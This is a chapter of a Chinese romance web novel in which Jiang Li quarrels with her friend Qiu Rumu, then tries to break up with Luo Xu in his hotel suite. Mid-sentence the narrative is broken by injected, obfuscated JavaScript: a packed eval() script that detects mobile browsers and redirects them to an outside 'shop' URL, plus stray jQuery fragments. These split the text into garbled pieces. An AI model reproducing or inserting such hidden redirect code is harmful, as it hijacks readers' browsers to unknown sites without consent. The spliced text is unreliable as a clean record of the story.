豪华商务车上,姜梨被塞在最后一排,中间一排两个男人想扭头又不敢,被迫坐得笔直。
太阳终于从云层中奋勇挣出,却又要扎入地平线下,它背后的夜幕一点点漫上来。
司机趁着红绿灯间隙轻咳了声,中间两个男人一愣。
此时面对着共同的问题————
该把这女孩儿送去哪儿。
按照罗序办公室一片狼藉的惨状,应该是送去派出所或随便找个地方恐吓一下,让对方再也不敢踏进上江古建半步。
可这两人不傻。
江畔那晚,两人卿卿我我的腻歪劲儿可不是普通情侣。
他们全程跟随,一切都看在眼里。
所以,这问题才如此棘手。
车内气氛随着红灯秒数减少变得越来越凝重。
恰在这时,手机铃声响起,独属于闺蜜的欢快节奏却令后座的姜梨更心酸。
“姜姜,你又去哪儿了。”
“我来找罗序分手,一会儿说吧。”
不想其他人听到,她果断地挂断手机。然后对前面三个男人说,“找个地方把我扔下吧。”
怕他们心有余悸,她又补了句,“放心,以后我都不会来了。”
听她这样说,刚刚还摇摆不定的三个人,一瞬间就统一战线——坚决不能放走。
于是,车子疾驰在晚高峰的马路上,好在罗序下榻的酒店距离环球金融中心只有二十分钟,不然姜梨怕是要吐在车上。
昏昏沉沉地被扔进观景套房后,姜梨缩在沙发上,等门关上才拿出手机。
已经有二十几个未接来电,全是邱如沐的,足见她被这突如其来的消息折磨得有多痛苦。
于是都没有喘口气,她再次回拨过去。
“姜姜,你真想好了?”
邱如沐忧心忡忡地说。
虽然不是两人感情的见证者,但她真的担心闺蜜。
“嗯,想好了。”姜梨指尖拨弄着衬衫上光滑的纽扣。她的愤怒已经磨平,只剩冷冰冰的思考。
“和他在一起,我的情绪总是被调动得很厉害。刚才还把办公室砸得稀巴烂,太不礼貌了。我不喜欢这种随时冲向悬崖的失控感,还是克制点好。”
“那……他同意了?”
“还没。还没说,我只是决定这样做了。他派人把我带到一个地方,估计一会儿忙完了会过来吧。等那时候我冷静下来了,好好分个手,以后该干嘛干嘛。”
她说完,声带不自觉地颤动,只能通过长长的呼吸来缓解,怕闺蜜听出破绽,把手机拿远些。
“既然决定了,我支持你。”
邱如沐冷静的声音由远及近,“给我发个定位,我和你师兄过去……”
“沐沐,我有个问题,你如实回答。”
那边说到一半的话停了下来,她没等邱如沐回应,直接问道,“你知道蒋清月一直在试图接近罗序。”
从蒋清月与前台的对话不难看出,她出入上江古建不是一次两次了。
漫长的沉默,悬在心头的答案一点点落在尘埃里,姜梨笃定道,“所以你才劝解我,再次考虑蒋清南、考虑蒋家。”
“姜姜,你怎么会这么想我?我是站在你的立场去考虑问题。”
“可你不是我,不知道罗序对我来说意味着什么。”
隔着电话,两人都很气愤。
按照往常习惯,她们会冷静下来,找合适的机会再谈,但今天却没人挂断电话,
疯狂滋长的愤怒总要有一个突破口。
姜梨瞬间高了一个声调,“你明知道蒋清月对罗序有意思……你居然不告诉我。”
“告诉你有什么用?你和他是什么关系。”
邱如沐也不想冷静了,趁热打铁,一次说清吧。
“他是追着你过来的,可然后呢。就算你们是情侣,就算没有清月,以后也会有别的女孩儿扑上来,就像清南喜欢你一样,是凭一己之力能控制的吗?”
“可你都知道却不告诉我,你的态度已经背离了闺蜜的身份和立场。”
一想到被拒接的电话和前台小姑娘市侩的嘴脸,这一切都被蒋清月尽收眼底,那种行走钢丝的耻辱再次弥漫心头。
“这几天我多丢脸,像个傻子一样被你们哄骗。”
“谁骗你了?姜梨,我以前怎么没发现你是个超级无敌恋爱脑。为了男人,自己的事业不顾了。你要想在上江扎根,蒋家是最好的选择。”
“谁恋爱脑,我的事业我自己做主,用不着你参与。”
“你有病啊,姜梨。”
邱如沐气得差点儿爆粗口,但还是沉了沉,耐心分析其中的利害关系。
“罗檀不喜欢你对不对。你要向上走,没有资源和财力支持可能吗?确定罗序可以背弃亲生母亲的意愿站在你这边吗?如果不行,就一辈子窝在工作室里做蛋糕?你来上江就为了这些?一个男人的母亲不喜欢你,你觉得你们两个能走多远。”
经历过恋爱、结婚、即将做妈妈的邱如沐在思维上显然比姜梨更加成熟。
“到时候你们靠什么相信对方,靠什么在一起,靠那一点点可悲的爱情吗?”
“邱如沐!”姜梨对着电话吼道,“你明知道我不是那样的人。你在教我权衡利弊吗?可以呀,要这样做之前先想想你。酒吧那晚不是我守着,你已经苍蜣登阶……”
“够了!你能不能理智一点。”
“我不想再跟你说话了。”
“我也是!”
头埋在胳膊间,微微颤抖,没有任何声音,可浅蓝色牛仔裤却被一点点打湿。
她指尖冰凉,头发胀,眼角酸酸的,鼻子像被棉花堵住不能呼吸。她挣扎着从沙发上站起来,整理下领口歪斜的T恤,重新穿上衬衫,准备离开。
这时,门口传来闷声闷气的说话声。
分不清有谁,但可以听出有很多人。
门开了,只有一个人的脚步,皮鞋摩擦地毯听上去踏实而舒心。她这才有时间环顾四周。
奢华典雅的观江套房,外层会客办公,中厅是沙发和投影,还有更衣室和休息间,最里面是卧室。
姜梨站在中厅沙发边,罗序已经走过会客厅,在门口看他。
隔了几天不见,居然从罗序眼中看到一丝失落神伤,她捏着衬衫边缘,紧张地咽了咽喉咙。
“我有话说。”
罗序脱了西装,扔到沙发背上,疲惫地坐下,抬头望着她,眼皮缓缓动了动,示意继续。
姜梨往后靠了靠,两人各守沙发一边,窗外就是美丽江景。
“我们分手吧,在一起太消耗情绪。我脾气不好,弄坏了办公室的东西,找会计核算一下,多少钱我赔给你。”
罗序很惊奇地上下打量她一番。姜梨居然有种被剥光的羞辱感,可她没有退缩,扬着下巴,目光垂下。
“不说话就当你同意了,以后不会再打扰你,祝你幸福。”
她极尽克制地成全,却换来沉默。没有待下去的必要了,姜梨抓起挎包就往外走。
经过罗序身侧时,却被钳子一般的大手攥住。她一个踉跄,差点儿又回到原位。
而罗序则转转袖口,仿佛运动前的热身,随后腰背直了直,冷笑说,“是脾气不好,看来找到更包容你的了,所以把我甩下了。这样理解对吗?”
尽管罗序坐着,但周身散发的压迫气息太过强烈,姜梨下意识地把挎包挡在身前,又退了一步。
“是我们两个出了问题,与旁人无关。”
她特意提高了声调,证明自己并不心虚。
可罗序根本不在意。他右腿压到左腿上,左胳膊撑开,放在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235153|187902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宽大的扶手上,很舒服的样子。
“这个旁人不包括蒋清南对吗?”
“你总提干嘛?是你自己的问题,总往别人身上扯。罗序,好聚好散,这是对我们两个和这段感情最大的尊重。”
“尊重?”罗序居然笑了,但眼底却含着冰霜。“面对危险第一时间想到他;扔下我一个人躺在医院去看望他母亲;姜梨,我在你心里到底是什么?”
“是什么你自己很清楚。我去蒋家是工作需要。”
“工作需要你在他家吃晚饭吗?”
“是蒋清月接的电话。”姜梨冷笑着。早该猜到那晚不止有沐沐打过来。
“罗序,你有那么笨吗?就凭她一张嘴,说什么就是什么。你要这样想,我也无可辩驳。没错,那天就是在他家吃饭,还很开心。他妈妈非常喜欢我。怎么了,放心。你做蒋清月男朋友,宋如韵一样高兴。”
姜梨小嘴叭叭地不停甩刀子。
罗序放下腿,猛地站了起来。
他起立的一瞬间,姜梨觉得整个房间都在抖。
男人用力握着她手腕儿,拽到自己跟前,急促的呼吸瞬间扑面而来。
“我会信她,是因为我女朋友进了别的男人家里就杳无音信。”
罗序几乎说出这句话时几乎咬牙切齿。
“我为什么杳无音信。问你自己,为什么不接我电话,微信也不回。你是受伤了又不是死了。回个消息怎么了,大晚上把我一个人扔回家,你以为自己多英雄……我怕你被人打死才打电话给他。”
姜梨一边说一边挣,但罗序的手像焊死在手腕儿上根本打不开,极其败坏地只能用老招数——上口咬。
牙齿侵入皮肉的一刻,姜梨心里有说不出的痛快和满足,像原始狩猎的欲望得到发泄。
罗序趁机搂住她,姜梨再挣扎出来。
头发凌乱地披在肩头,还有几缕不听话地粘在唇边,姜梨懒得拨开,继续往后挣,但仍逃不开罗序的桎梏。
“我想知道在你心里我有多重要。姜梨,你总是说走就走。扔下我一个人。我喜欢你,但自尊不值钱吗,就算不值钱,换你主动问候一句都不可以吗?”
他稳稳捏着姜梨,胜券在握地样子,语气却卑微得如风中落叶。
“想知道我在女朋友心里的分量,有什么错?蒋清南装可怜,博同情你就去看他陪他,姜梨,我到底算什么?”
姜梨只顾较劲,没有仔细看他的脸。
倘若稍微留意,一定会发现罗序明亮的眼睛里有细微裂缝。
明明是逼不得已的深情告白,可在姜梨听来却十分刺耳。她甩甩头发,依旧有几绺粘在唇上,但丝毫不影响战斗力。
“算什么?”她眉毛挑了挑,嘲讽道,“什么都不算。我心里没有你的位置。罗序,从你和蒋清月背着我勾三搭四开始,你在我心里就什么都不是。我是照顾过蒋清南,但没有任何越矩行为。你呢。”
她挣不开罗序,于是转而抡起拳头,往结实的前胸上捶。
“当着她的面,不接我电话。堂堂的集团董事,忙着开会,不见任何人,有本事你谁都别见。”
姜梨越想越生气。
蒋清月嘲弄的神色、讥诮的嘴唇和那份热气腾腾的饭盒不停在脑子里乱转。
还有一忙起来就人影都见不着的罗序。
此时这人不怕疼似的任由捶打。
打不动,姜梨就使劲儿推,颇有壮士断腕的气势。宁可不要胳膊,也不想继续捆绑在一起。
罗序眸色微颤,不错目地望着姜梨,像只被捕获的鸟,在他手上挣扎。
然而她向外的劲儿有多大,反作用回的力就有多强。终于在即将脱离的一刻,罗序松了下手,再往回一抻,姜梨整个人跌进怀里,白色挎包掉在地上……
她们之间再无缝隙。